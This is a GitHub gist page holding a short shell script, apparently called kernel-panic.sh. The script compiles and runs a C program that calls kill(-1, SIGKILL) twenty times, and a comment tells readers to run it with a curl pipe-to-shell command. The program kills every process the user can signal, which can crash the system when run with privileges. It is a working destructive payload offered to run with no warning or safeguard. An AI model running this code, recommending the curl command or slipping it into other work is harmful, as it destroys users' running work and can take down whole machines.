Last active
December 4, 2017 22:41
-
-
Save matthewbauer/1563ec69d8f99bbaf6788a8e696c9540 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# to run this, use the following: | |
# curl https://matthewbauer.us/kernel-panic.sh | sh | |
cfile=$(mktemp).c | |
cat <<EOF >> $cfile | |
#include <unistd.h> | |
#include <sys/syscall.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <stdio.h> | |
int main() { | |
int result; | |
sleep(1); | |
for (int i = 0; i < 20; i++) { | |
result = syscall(SYS_kill, -1, SIGKILL, 0); | |
printf("result:%i,errno:%i (%s)\n", result, errno, strerror(errno)); | |
} | |
} | |
EOF | |
ofile=$(mktemp).o | |
gcc $cfile -o $ofile | |
$ofile |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment